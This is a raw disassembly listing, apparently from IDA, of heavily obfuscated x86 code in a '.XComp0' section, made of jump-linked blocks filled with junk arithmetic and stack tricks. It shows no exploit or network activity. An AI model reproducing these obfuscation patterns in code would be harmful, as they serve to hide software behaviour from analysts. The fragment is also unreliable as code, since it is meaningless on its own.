loc_594164: ; CODE XREF: .XComp0:0058CFEAj sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp jmp loc_58D7A1 ; --------------------------------------------------------------------------- loc_594180: ; CODE XREF: .XComp0:0058736Fj shl ebp, 4 shr ebp, 8 push ecx jmp loc_58D631 ; --------------------------------------------------------------------------- loc_59418C: ; CODE XREF: .XComp0:005872C8j mov ebp, edi jmp loc_598EC9 ; --------------------------------------------------------------------------- loc_594193: ; CODE XREF: .XComp0:0059853Ej sub ah, dl sub ah, 69h mov edx, [esp] add esp, 4 shr ah, 2 push 1E82h mov [esp], ebx push 3932h mov [esp], eax mov al, 3Fh mov bh, al pop eax add ah, bh jmp loc_58D554 ; --------------------------------------------------------------------------- loc_5941BD: ; CODE XREF: .XComp0:00598FDBj mov bh, 5Ah add bh, 7Fh sub bh, 0AAh add dh, bh jmp loc_58F547 ; --------------------------------------------------------------------------- loc_5941CC: ; CODE XREF: .XComp0:005931D3j push edx push 60943AC0h mov edx, [esp] push edx mov edx, esp jmp loc_591963 ; --------------------------------------------------------------------------- loc_5941DD: ; CODE XREF: .XComp0:0058DE0Ej shr ebp, 5 add ebp, 23E6B22h mov eax, ebp pop ebp add [esp+4], eax jmp loc_588757 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], esi push esp push dword ptr [esp] jmp loc_58B9B3 ; --------------------------------------------------------------------------- loc_594208: ; CODE XREF: .XComp0:0058F616j sub edi, 30127291h add edi, esi add edi, 30127291h add edi, 33EA4101h sub edi, 21BB08C6h pop esi jmp loc_58699D ; --------------------------------------------------------------------------- loc_594228: ; CODE XREF: .XComp0:005885BAj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_58CBBA ; --------------------------------------------------------------------------- loc_59423F: ; CODE XREF: .XComp0:0058B448j mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push esi jmp loc_595CE6 ; --------------------------------------------------------------------------- loc_59424F: ; CODE XREF: .XComp0:0059303Aj pop ecx xchg ebp, [esp] pop esp mov [esp], ebp push esp pop ebp push eax mov eax, 4 jmp loc_589C17 ; --------------------------------------------------------------------------- loc_594264: ; CODE XREF: .XComp0:0058AB78j sub ecx, 0DE913784h jmp loc_5860E1 ; --------------------------------------------------------------------------- loc_59426F: ; CODE XREF: .XComp0:00597327j push eax jmp loc_58785D ; --------------------------------------------------------------------------- loc_594275: ; CODE XREF: .XComp0:0058CA42j add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp push 77Eh mov [esp], ebx mov ebx, 23D74D11h or ebx, 1C8860C5h xor ebx, 4DA31249h push esi mov esi, 8D838066h add ebx, esi pop esi mov ebp, ebx pop ebx sub eax, 0FC10530h jmp loc_58D5B6 ; --------------------------------------------------------------------------- loc_5942C0: ; CODE XREF: .XComp0:00597F9Bj push 48D07936h jmp loc_592C9B ; --------------------------------------------------------------------------- loc_5942CA: ; CODE XREF: .XComp0:0058C83Ej mov esp, [esp] pop ebx jmp loc_5986F0 ; --------------------------------------------------------------------------- loc_5942D3: ; CODE XREF: .XComp0:005972AEj xchg eax, [esp] pop esp sub esp, 4 mov [esp], esi jmp loc_596864 ; --------------------------------------------------------------------------- loc_5942E2: ; CODE XREF: .XComp0:0058593Aj mov eax, 4 jmp loc_590B60 ; --------------------------------------------------------------------------- loc_5942EC: ; CODE XREF: .XComp0:0058FED8j xor ecx, ebp pop ebp push esi mov esi, 5C1242C5h or esi, 7E593480h dec esi or esi, 38CA2BAAh jmp loc_5845DB ; --------------------------------------------------------------------------- loc_594307: ; CODE XREF: .XComp0:0058BBBCj neg ebx shl ebx, 4 add ebx, 3591D620h mov edi, ebx pop ebx and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] shr eax, 0Eh xor eax, ecx xor eax, edx xor edx, eax xor eax, edx push 393Ch mov [esp], edx xor [esp], eax jmp loc_593C2F ; --------------------------------------------------------------------------- loc_59434E: ; CODE XREF: .XComp0:005963C8j mov esi, 6033053Bh add eax, esi pop esi add eax, 73B4DA0h sub eax, edx sub eax, 73B4DA0h sub eax, 6033053Bh add eax, 7E224573h jmp loc_5859BA ; --------------------------------------------------------------------------- loc_594371: ; CODE XREF: .XComp0:0058846Bj xchg ebp, [esp] pop esp add eax, ecx jmp loc_5951E6 ; --------------------------------------------------------------------------- loc_59437C: ; CODE XREF: .XComp0:00597D46j sub eax, 860B3926h sub ebp, eax pop eax add ebp, esi add ebp, 360649C1h jmp loc_5989BF ; --------------------------------------------------------------------------- lodsd sub eax, 12A25CFh add eax, ebx push edx push 6B10h jmp loc_5843C2 ; --------------------------------------------------------------------------- loc_5943A4: ; CODE XREF: .XComp0:00590200j mov ebx, [esp] add esp, 4 push ebx push edx push 50606FDFh pop edx jmp loc_592C7E ; --------------------------------------------------------------------------- loc_5943BA: ; CODE XREF: .XComp0:0058AB3Cj pop ebx push edi mov edi, 67E601E2h xor ebx, edi pop edi push 4250h mov [esp], esi mov esi, esp push edi mov edi, 4 sub esi, 38923547h add esi, edi jmp loc_589A5F ; --------------------------------------------------------------------------- loc_5943E1: ; CODE XREF: .XComp0:00592F59j xor ebx, 50583C27h jmp loc_5905F9 ; --------------------------------------------------------------------------- loc_5943EC: ; CODE XREF: .XComp0:00584529j add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5936E5 ; --------------------------------------------------------------------------- loc_5943FD: ; CODE XREF: .XComp0:0058BC8Fj pop ecx push 4596h mov [esp], ebx pop edi pop ebx mov ebx, edi mov edi, [esp] add esp, 4 xor ebx, 56F43B51h xchg eax, ebx xchg eax, ecx not ecx xchg eax, ecx xchg eax, ebx push 0 jmp loc_58A149 ; --------------------------------------------------------------------------- loc_594429: ; CODE XREF: .XComp0:00593F1Fj pop ebp xor eax, 3B6015F3h jmp loc_58A266 ; --------------------------------------------------------------------------- loc_594434: ; CODE XREF: .XComp0:0058D2DAj push ebx mov ebx, 453C7128h push ebp mov ebp, 13032BEh sub ebx, 35B4566Bh jmp loc_595889 ; --------------------------------------------------------------------------- loc_59444B: ; CODE XREF: .XComp0:0058ED4Fj mov ecx, 52AA1077h jmp loc_58F214 ; --------------------------------------------------------------------------- loc_594455: ; CODE XREF: .XComp0:0058E9FBj mov ax, [esp] push 430Ah mov [esp], edx mov edx, esp push ecx push esi push 345745Ch pop esi not esi add esi, 3457461h mov ecx, esi pop esi add edx, ecx jmp loc_588725 ; --------------------------------------------------------------------------- loc_59447D: ; CODE XREF: .XComp0:0058C012j xor edi, 1DD57FFBh mov ebx, edi pop edi sub eax, 3BAF1F74h jmp loc_5846BE ; --------------------------------------------------------------------------- loc_594490: ; CODE XREF: .XComp0:00584B5Cj pop esp jmp loc_5884A2 ; --------------------------------------------------------------------------- loc_594496: ; CODE XREF: .XComp0:005854D2j pop ecx jmp loc_58515C ; --------------------------------------------------------------------------- loc_59449C: ; CODE XREF: .XComp0:0058772Cj pop ebp jmp loc_59353E ; --------------------------------------------------------------------------- loc_5944A2: ; CODE XREF: .XComp0:00589A1Aj mov edx, 3BB11AB5h xor edx, 7F36341Eh mov ebp, edx jmp loc_592AB8 ; --------------------------------------------------------------------------- loc_5944B4: ; CODE XREF: .XComp0:00598255j add esp, 4 xchg ebx, [esp] mov esp, [esp] pop dword ptr [esp] pop esp idiv cx jmp loc_58FD42 ; --------------------------------------------------------------------------- mov cx, [esp] push 2525h jmp loc_5970B9 ; --------------------------------------------------------------------------- loc_5944D7: ; CODE XREF: .XComp0:005967D1j mov edx, esp sub esp, 4 jmp loc_583FE8 ; --------------------------------------------------------------------------- loc_5944E1: ; CODE XREF: .XComp0:00584450j push ebx mov ebx, 62800DA5h add ebx, 0E25EF708h add ecx, ebx jmp loc_589038 ; --------------------------------------------------------------------------- loc_5944F4: ; CODE XREF: .XComp0:0058A5A2j pop ecx jmp loc_58C23C ; --------------------------------------------------------------------------- loc_5944FA: ; CODE XREF: .XComp0:0058C645j mov esi, eax push dword ptr [esp] jmp loc_597F70 ; --------------------------------------------------------------------------- loc_594504: ; CODE XREF: .XComp0:0058D369j add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] xchg eax, [esp] mov esp, [esp] imul ecx push 2C47h jmp loc_58B773 ; --------------------------------------------------------------------------- loc_59452C: ; CODE XREF: .XComp0:005852A7j push di push 4471h mov [esp], esi mov si, 1CE8h mov di, 4BBh jmp loc_589B40 ; --------------------------------------------------------------------------- loc_594543: ; CODE XREF: .XComp0:00598D24j xor esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_589665 ; --------------------------------------------------------------------------- loc_594552: ; CODE XREF: .XComp0:0058D930j neg ebx xor ebx, 91B5E800h xor ecx, ebx pop ebx jmp loc_5870FC ; --------------------------------------------------------------------------- loc_594562: ; CODE XREF: .XComp0:00588D6Ej mov [esp], eax jmp loc_5902EF ; --------------------------------------------------------------------------- loc_59456A: ; CODE XREF: .XComp0:00590004j mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_593CD2 ; --------------------------------------------------------------------------- loc_594597: ; CODE XREF: .XComp0:0059507Dj shr edx, 1 push ecx mov ecx, 0E7015BFh sub ecx, 4D0F9DF0h sub edx, ecx pop ecx mov edi, edx jmp loc_5890C6 ; --------------------------------------------------------------------------- loc_5945AF: ; CODE XREF: .XComp0:00597B27j add al, 4Eh add al, bh sub al, 4Eh pop ebx mov ecx, [esp] push eax push esp pop eax add eax, 4 push ebp mov ebp, 4 sub eax, 7470698Dh add eax, ebp add eax, 7470698Dh pop ebp push eax push dword ptr [esp+4] jmp loc_58B55E ; --------------------------------------------------------------------------- push 5B25h mov [esp], eax push edx push edi jmp loc_597FFF ; --------------------------------------------------------------------------- loc_5945ED: ; CODE XREF: .XComp0:00586BE9j pop ecx push esi jmp loc_594913 ; --------------------------------------------------------------------------- loc_5945F4: ; CODE XREF: .XComp0:005950C7j pop dword ptr [esp] pop esp xor ebp, [esp] jmp loc_58615F ; --------------------------------------------------------------------------- loc_594600: ; CODE XREF: .XComp0:00592D68j push edi jmp loc_593556 ; --------------------------------------------------------------------------- loc_594606: ; CODE XREF: .XComp0:0059723Bj sub esp, 4 mov [esp], ecx push esi mov esi, 262F1034h mov ecx, esi pop esi sub ebx, 19BC24D7h add ebx, 1CEF505Dh add ebx, ecx sub ebx, 1CEF505Dh add ebx, 19BC24D7h pop ecx add ebx, ebp jmp loc_592C70 ; --------------------------------------------------------------------------- loc_59463A: ; CODE XREF: .XComp0:00585FA8j add ecx, 744E0D5Dh jmp loc_5928D7 ; --------------------------------------------------------------------------- mov ax, [esp] push 3A6Dh jmp loc_58464B ; --------------------------------------------------------------------------- loc_594653: ; CODE XREF: .XComp0:00595AF0j push edi mov edi, 452B5097h sub edi, 452B5093h add ebp, edi pop edi push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] pop esp jmp loc_589233 ; --------------------------------------------------------------------------- loc_594674: ; CODE XREF: .XComp0:005855CDj pop edx jmp loc_5847AC ; --------------------------------------------------------------------------- loc_59467A: ; CODE XREF: .XComp0:00591BF6j add ah, dh push dword ptr [esp] pop edx add esp, 4 push ebx mov bh, ah jmp loc_58D34C ; --------------------------------------------------------------------------- loc_59468B: ; CODE XREF: .XComp0:00595495j push ebx push eax mov ah, 7Fh push eax push cx mov cl, 0FCh jmp loc_590F18 ; --------------------------------------------------------------------------- loc_594699: ; CODE XREF: .XComp0:005952E2j mov ebp, 42316EBBh add ebp, 143A4718h shl ebp, 5 neg ebp add ebp, 747754EDh push edx mov edx, 2FFC59F0h and edx, 41CF0FC5h shr edx, 7 and edx, 4BAE5A09h xor edx, 0A7028288h xor ebp, edx pop edx add edi, ebp jmp loc_58A18D ; --------------------------------------------------------------------------- loc_5946D4: ; CODE XREF: .XComp0:0058C2F9j mov edi, 38C01A50h mov ebx, edi jmp loc_592831 ; --------------------------------------------------------------------------- loc_5946E0: ; CODE XREF: .XComp0:00590CE1j pop ebp jmp loc_58A4BE ; --------------------------------------------------------------------------- loc_5946E6: ; CODE XREF: .XComp0:0058DCC5j not edi push ebx mov ebx, 76E50749h jmp loc_58F7AA ; --------------------------------------------------------------------------- loc_5946F3: ; CODE XREF: .XComp0:00595664j push dword ptr [esp+4] pop esi jmp loc_587C63 ; --------------------------------------------------------------------------- mov [esp], edx push eax jmp loc_592AFD ; --------------------------------------------------------------------------- loc_594706: ; CODE XREF: .XComp0:00587969j mov [esp], esi xor dword ptr [esp], 20363353h pop edi jmp loc_5962B9 ; --------------------------------------------------------------------------- loc_594716: ; CODE XREF: .XComp0:005844B9j xchg eax, [esp] pop esp push ebp mov ebp, esp add ebp, 4 jmp loc_58F1A5 ; --------------------------------------------------------------------------- loc_594728: ; CODE XREF: .XComp0:0058F144j push small 5A29h jmp loc_5959CF ; --------------------------------------------------------------------------- loc_594731: ; CODE XREF: .XComp0:00588EC4j add esi, 0FB9C55C6h add ebp, esi pop esi jmp loc_596EAD ; --------------------------------------------------------------------------- loc_59473F: ; CODE XREF: .XComp0:00598367j add [esp+4], ecx mov ecx, [esp] add esp, 4 mov eax, [esp] add esp, 4 jmp loc_590765 ; --------------------------------------------------------------------------- loc_59475A: ; CODE XREF: .XComp0:00592101j add esi, 38C3481Bh add esi, edi jmp loc_5953FB ; --------------------------------------------------------------------------- loc_594767: ; CODE XREF: .XComp0:0059165Aj sub esp, 4 jmp loc_587E45 ; --------------------------------------------------------------------------- loc_594772: ; CODE XREF: .XComp0:00592217j add ebp, 3E9D61A0h xor ebp, 0A136B0C9h sub ebx, ebp pop ebp jmp loc_59034D ; --------------------------------------------------------------------------- loc_594786: ; CODE XREF: .XComp0:0058C072j push edx mov dh, 66h push 1308h mov [esp], eax mov ah, 25h sub ah, 55h dec ah jmp loc_59104A ; --------------------------------------------------------------------------- loc_59479D: ; CODE XREF: .XComp0:00588177j sub ecx, 0DD801D4Ah jmp loc_583F67 ; --------------------------------------------------------------------------- loc_5947A8: ; CODE XREF: .XComp0:0058EC1Cj pop edx add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_584AF9 ; --------------------------------------------------------------------------- loc_5947BA: ; CODE XREF: .XComp0:00590D41j add esp, 4 or edi, 41D94AF8h jmp loc_585E24 ; --------------------------------------------------------------------------- loc_5947C8: ; CODE XREF: .XComp0:00586DAAj neg edi push ebx mov ebx, 47C65D10h xor edi, ebx mov ebx, [esp] add esp, 4 jmp loc_584C08 ; --------------------------------------------------------------------------- loc_5947E0: ; CODE XREF: .XComp0:0058F013j mov [esp], esi push ebp push 4447h mov [esp], edx mov edx, 72BE78CBh neg edx shr edx, 6 xor edx, 2C89316Bh push edi mov edi, esp jmp loc_58F3A0 ; --------------------------------------------------------------------------- loc_594804: ; CODE XREF: .XComp0:0058D55Cj add al, 90h jmp loc_58D0F0 ; --------------------------------------------------------------------------- loc_59480B: ; CODE XREF: .XComp0:00583E4Ej sub esi, edx pop edx sub esi, ebx add esi, 2BFE2345h sub esi, 4F5A7F32h mov ebx, esi pop esi and ebx, 3CB66DBEh not ebx jmp loc_58C95B ; --------------------------------------------------------------------------- loc_59482C: ; CODE XREF: .XComp0:00598552j pop ebx pop esi sub ebp, ebx jmp loc_588FEE ; --------------------------------------------------------------------------- loc_594835: ; CODE XREF: .XComp0:0058A550j pop eax add edx, 4 xchg edx, [esp] pop esp push esi push 1A68h mov [esp], eax mov eax, 207E0668h sub eax, 0FFFFFFFFh neg eax xor eax, 0DF81F993h mov esi, eax pop eax jmp loc_58CCE4 ; --------------------------------------------------------------------------- loc_59485F: ; CODE XREF: .XComp0:005918D2j mov bl, dh mov al, bl pop ebx push edx mov dh, 0FFh jmp loc_59233B ; --------------------------------------------------------------------------- loc_59486C: ; CODE XREF: .XComp0:00589D3Dj pop edx jmp loc_584020 ; --------------------------------------------------------------------------- loc_594872: ; CODE XREF: .XComp0:00585618j sub esp, 4 jmp loc_58EE43 ; --------------------------------------------------------------------------- loc_59487A: ; CODE XREF: .XComp0:005872ECj pop edi push edx push ecx mov ecx, 15B16CFBh push eax mov eax, 66E663B7h jmp loc_58B51A ; --------------------------------------------------------------------------- loc_59488D: ; CODE XREF: .XComp0:00598BDAj sub eax, 2C1D6A60h add eax, 59ED3DFEh mov ebx, [esp] add esp, 4 xchg eax, [esp] jmp loc_58AF92 ; --------------------------------------------------------------------------- loc_5948A5: ; CODE XREF: .XComp0:0059680Ej mov [esp], esp push ecx jmp loc_598362 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax push esi jmp loc_587445 ; --------------------------------------------------------------------------- loc_5948BE: ; CODE XREF: .XComp0:005905A5j mov [esp], ecx push eax push 7099h mov [esp], edx push edi jmp loc_5894CA ; --------------------------------------------------------------------------- loc_5948D0: ; CODE XREF: .XComp0:0058CFCCj mov eax, esp add eax, 4 jmp loc_597658 ; --------------------------------------------------------------------------- loc_5948DC: ; CODE XREF: .XComp0:00584F31j mov ebp, 7FFD2844h and ebp, 56BF682Dh shl ebp, 5 xor ebp, 59C11AEBh or ebp, 453467AAh push edi mov edi, 10DD5180h jmp loc_5870E4 ; --------------------------------------------------------------------------- loc_594901: ; CODE XREF: .XComp0:005959B4j mov [esp], ebx jmp loc_5986FE ; --------------------------------------------------------------------------- loc_594909: ; CODE XREF: .XComp0:0058A4EBj add eax, 4 jmp loc_59070F ; --------------------------------------------------------------------------- loc_594913: ; CODE XREF: .XComp0:005945EFj mov esi, 4 add edi, esi mov esi, [esp] push ebp push esp pop ebp add ebp, 4 jmp loc_587B18 ; --------------------------------------------------------------------------- loc_59492B: ; CODE XREF: .XComp0:005935A7j sub ebp, 0BE59D35Ch add ecx, ebp pop ebp push edi mov edi, 4 jmp loc_58FC30 ; --------------------------------------------------------------------------- loc_59493F: ; CODE XREF: .XComp0:005974B3j xor esi, 7C9A09A8h sub edi, esi pop esi jmp loc_587C07 ; --------------------------------------------------------------------------- loc_59494D: ; CODE XREF: .XComp0:00583B02j push dword ptr [esp] pop ebp push ecx push esp pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_585645 ; --------------------------------------------------------------------------- loc_594965: ; CODE XREF: .XComp0:00589B27j add eax, edx pop edx jmp loc_598CB5 ; --------------------------------------------------------------------------- loc_59496D: ; CODE XREF: .XComp0:00594C7Fj push 30F3h mov [esp], ecx jmp loc_584DFF ; --------------------------------------------------------------------------- loc_59497A: ; CODE XREF: .XComp0:005906CBj push edx push ebp push 2371DA1h jmp loc_58A506 ; --------------------------------------------------------------------------- loc_594986: ; CODE XREF: .XComp0:00598494j sub esp, 4 mov [esp], edx mov edx, 1D68572Eh jmp loc_585871 ; --------------------------------------------------------------------------- loc_594996: ; CODE XREF: .XComp0:00589170j xor [esp], esi xor esi, [esp] mov esp, [esp] push eax jmp loc_58C16C ; --------------------------------------------------------------------------- loc_5949A5: ; CODE XREF: .XComp0:0058C55Bj add edi, 1 add edi, 2F650282h xor edi, 9BE50BA0h jmp loc_58492A ; --------------------------------------------------------------------------- loc_5949BC: ; CODE XREF: .XComp0:00590C18j mov edi, 2 sub ebx, 30133228h add ebx, edi add ebx, 30133228h mov edi, [esp] jmp loc_590E19 ; --------------------------------------------------------------------------- loc_5949D7: ; CODE XREF: .XComp0:0058DB18j xchg ecx, [esp] mov esp, [esp] jmp loc_5957F4 ; --------------------------------------------------------------------------- loc_5949E2: ; CODE XREF: .XComp0:00586C87j pop ecx sub esp, 4 mov [esp], edi mov edi, 2D4303A0h jmp loc_58DA8C ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5949FE: ; CODE XREF: .XComp0:005926D0j or esi, 32650AF8h push esi not dword ptr [esp] pop esi shl esi, 4 add esi, 14B71176h sub ecx, 72C44D94h jmp loc_595618 ; --------------------------------------------------------------------------- loc_594A1D: ; CODE XREF: .XComp0:0058716Bj sub ebp, eax jmp loc_58B019 ; --------------------------------------------------------------------------- loc_594A24: ; CODE XREF: .XComp0:00584673j pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, 6CF22A1Bh sub ebp, 0FFFFFFFFh jmp loc_58CE76 ; --------------------------------------------------------------------------- loc_594A3A: ; CODE XREF: .XComp0:005870DFj push ecx jmp loc_589DAD ; --------------------------------------------------------------------------- loc_594A40: ; CODE XREF: .XComp0:00594EA8j add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], esi mov esi, 4 add edx, esi push dword ptr [esp] jmp loc_58CFA8 ; --------------------------------------------------------------------------- loc_594A5D: ; CODE XREF: .XComp0:0058F258j add edi, ebp push dword ptr [esp] pop ebp jmp loc_598B20 ; --------------------------------------------------------------------------- loc_594A68: ; CODE XREF: .XComp0:0058D97Aj mov esi, 52156D0Ah not esi shl esi, 3 jmp loc_588976 ; --------------------------------------------------------------------------- loc_594A77: ; CODE XREF: .XComp0:0058C565j push esp jmp loc_593E31 ; --------------------------------------------------------------------------- loc_594A7D: ; CODE XREF: .XComp0:0058B5F0j or ah, 76h add ah, 14h jmp loc_59531D ; --------------------------------------------------------------------------- loc_594A88: ; CODE XREF: .XComp0:00587542j and cl, al pop eax jmp loc_591DB3 ; --------------------------------------------------------------------------- loc_594A90: ; CODE XREF: .XComp0:00588FE9j sub eax, 0FC6F5837h push eax sub dword ptr [esp], 7ABD6404h pop ebp add ebp, 7ABD6404h pop eax dec ebp not ebp neg ebp jmp loc_596C7A ; --------------------------------------------------------------------------- loc_594AAF: ; CODE XREF: .XComp0:005891A0j push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax push 0D29h mov [esp], eax mov eax, esp add eax, 4 push edi mov edi, esp push esi jmp loc_594F1F ; --------------------------------------------------------------------------- loc_594AEC: ; CODE XREF: .XComp0:00583D4Dj pop esi jmp loc_58992B ; --------------------------------------------------------------------------- loc_594AF2: ; CODE XREF: .XComp0:0058B974j pop ebx add eax, esi pop esi shl eax, 4 sub eax, 27E84DBFh xor eax, 0C1C9D655h jmp loc_58B7C6 ; --------------------------------------------------------------------------- loc_594B08: ; CODE XREF: .XComp0:0058C56Dj not ebp xor ebp, 84C41h jmp loc_596A24 ; --------------------------------------------------------------------------- loc_594B15: ; CODE XREF: .XComp0:0059285Fj jmp loc_583A60 ; --------------------------------------------------------------------------- loc_594B1A: ; CODE XREF: .XComp0:005841A5j mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5961E6 ; --------------------------------------------------------------------------- loc_594B31: ; CODE XREF: .XComp0:0058950Aj xor esi, [esp] mov esp, [esp] jmp loc_58B65F ; --------------------------------------------------------------------------- loc_594B3C: ; CODE XREF: .XComp0:0058C8CBj mov edx, [esp] add esp, 4 and ecx, 7849504Dh jmp loc_58AB6F ; --------------------------------------------------------------------------- loc_594B4D: ; CODE XREF: .XComp0:0059226Bj pop ecx xchg edi, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop edx push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_598040 ; --------------------------------------------------------------------------- loc_594B72: ; CODE XREF: .XComp0:00585909j mov ebp, 0ED701863h add ebp, ebx pop ebx jmp loc_597D2D ; --------------------------------------------------------------------------- loc_594B7F: ; CODE XREF: .XComp0:0058D380j push 57BBh jmp loc_589223 ; --------------------------------------------------------------------------- loc_594B89: ; CODE XREF: .XComp0:00598655j add esi, eax pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push 60A4h mov [esp], eax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_594BA3: ; CODE XREF: .XComp0:00597006j mov ecx, 54C276BDh push ebp mov ebp, 10C359DBh mov esi, 6E8FE163h xor esi, ebp mov ebp, [esp] add esp, 4 push ebp mov ebp, 597826F4h or ebp, 413F7281h not ebp not ebp xor ebp, 1A1C342Dh jmp loc_59820A ; --------------------------------------------------------------------------- loc_594BD9: ; CODE XREF: .XComp0:0058899Ej add edx, 21BA77E9h jmp loc_5909C6 ; --------------------------------------------------------------------------- loc_594BE4: ; CODE XREF: .XComp0:00598425j sub ecx, 28CA6AB7h dec ecx add ecx, 53BA4562h push esi mov esi, 42180138h push edi mov edi, 778B5165h and esi, edi pop edi shl esi, 3 jmp loc_5906A5 ; --------------------------------------------------------------------------- loc_594C08: ; CODE XREF: .XComp0:00589183j and esi, 77494F29h shr esi, 5 inc esi add esi, 19D63BF3h push ecx jmp loc_5871EF ; --------------------------------------------------------------------------- loc_594C1E: ; CODE XREF: .XComp0:00584841j neg ebp neg ebp shl ebp, 7 add ebp, 0ECAE5AECh jmp loc_597E46 ; --------------------------------------------------------------------------- loc_594C30: ; CODE XREF: .XComp0:0058EC4Cj mov edx, ebp pop ebp push esi mov esi, 4E435A6Ah xor edx, esi pop esi jmp loc_58E5A4 ; --------------------------------------------------------------------------- loc_594C41: ; CODE XREF: .XComp0:00584C12j mov esi, 320A35F2h jmp loc_596C2D ; --------------------------------------------------------------------------- loc_594C4B: ; CODE XREF: .XComp0:0058BA33j xchg edx, [esp] mov esp, [esp] sub eax, 4F5529D7h sub eax, 30F3220Dh sub eax, ebx add eax, 30F3220Dh push ebx mov ebx, 4F5529D7h add eax, ebx mov ebx, [esp] jmp loc_584C83 ; --------------------------------------------------------------------------- loc_594C72: ; CODE XREF: .XComp0:0059298Cj push 6C50h jmp loc_58C35B ; --------------------------------------------------------------------------- loc_594C7C: ; CODE XREF: .XComp0:0059344Dj add [esp], eax jmp loc_59496D ; --------------------------------------------------------------------------- loc_594C84: ; CODE XREF: .XComp0:0058DEE4j not eax push esi mov esi, 9982C3A0h jmp loc_583B1B ; --------------------------------------------------------------------------- loc_594C91: ; CODE XREF: .XComp0:0059519Ej mov esp, [esp] mov [esp], ebx push 7939h mov [esp], edx jmp loc_58D1CA ; --------------------------------------------------------------------------- loc_594CA4: ; CODE XREF: .XComp0:00591FB2j sub esp, 2 mov [esp], dx mov dl, 9 jmp loc_58B566 ; --------------------------------------------------------------------------- loc_594CB5: ; CODE XREF: .XComp0:0059152Bj inc ebx xor ebx, 16F30EFCh jmp loc_587832 ; --------------------------------------------------------------------------- loc_594CC1: ; CODE XREF: .XComp0:0058A9EFj add al, dl jmp loc_5897AE ; --------------------------------------------------------------------------- loc_594CC8: ; CODE XREF: .XComp0:005871E0j add ebx, edi pop edi sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_58E366 ; --------------------------------------------------------------------------- loc_594CD7: ; CODE XREF: .XComp0:00584F7Fj jmp loc_583A60 ; --------------------------------------------------------------------------- loc_594CDC: ; CODE XREF: .XComp0:00588971j or eax, esi push dword ptr [esp] pop esi jmp loc_590433 ; --------------------------------------------------------------------------- loc_594CE7: ; CODE XREF: .XComp0:00595ECDj mov ebp, 3B7C6EC1h sub ebp, 468080Ch shr ebp, 8 jmp loc_58893A ; --------------------------------------------------------------------------- loc_594CFA: ; CODE XREF: .XComp0:005977B6j mov ebp, 4121099Ch add ecx, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_58E284 ; --------------------------------------------------------------------------- loc_594D0D: ; CODE XREF: .XComp0:005923D7j pop ecx shl ecx, 1 jmp loc_593FAC ; --------------------------------------------------------------------------- loc_594D15: ; CODE XREF: .XComp0:00591ECFj mov bh, ah jmp loc_598F37 ; --------------------------------------------------------------------------- loc_594D1C: ; CODE XREF: .XComp0:00590989j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_58CED8 ; --------------------------------------------------------------------------- loc_594D33: ; CODE XREF: .XComp0:005870B9j sub ah, 2Fh sub bl, ah mov eax, [esp] add esp, 4 push edx jmp loc_590B11 ; --------------------------------------------------------------------------- loc_594D44: ; CODE XREF: .XComp0:00596F9Aj mov edx, 7BEE4BB5h add eax, edx pop edx mov ebp, eax pop eax add ebp, edx mov edx, [esp] add esp, 4 jmp loc_5898FB ; --------------------------------------------------------------------------- loc_594D5C: ; CODE XREF: .XComp0:00596E35j mov edx, 4DE723C8h not edx add edx, 0B87D54E7h mov edi, edx jmp loc_584E3F ; --------------------------------------------------------------------------- loc_594D70: ; CODE XREF: .XComp0:0059321Aj push ebx xchg esi, [esp] not esi jmp loc_59370D ; --------------------------------------------------------------------------- loc_594D7B: ; CODE XREF: .XComp0:00591B68j pop ebx sub esp, 4 mov [esp], edx push 2717h mov [esp], esi push ebp jmp loc_5911C7 ; --------------------------------------------------------------------------- loc_594D93: ; CODE XREF: .XComp0:00593BEBj xor edx, 99163B4h sub esp, 4 jmp loc_586702 ; --------------------------------------------------------------------------- loc_594DA4: ; CODE XREF: .XComp0:00585CABj add ecx, 4 add ecx, 4 jmp loc_58C4D8 ; --------------------------------------------------------------------------- loc_594DB2: ; CODE XREF: .XComp0:005973E9j sub esp, 4 mov [esp], ebx jmp loc_584B61 ; --------------------------------------------------------------------------- loc_594DC0: ; CODE XREF: .XComp0:00584A0Aj push edi mov edi, esp jmp loc_589A18 ; --------------------------------------------------------------------------- loc_594DC8: ; CODE XREF: .XComp0:005969D0j push edi jmp loc_587F34 ; --------------------------------------------------------------------------- loc_594DCE: ; CODE XREF: .XComp0:00597B78j and ebp, 4BED4AF9h neg ebp inc ebp and ebp, 1EE37E5Fh xor ebp, 5A657783h jmp loc_584A7A ; --------------------------------------------------------------------------- 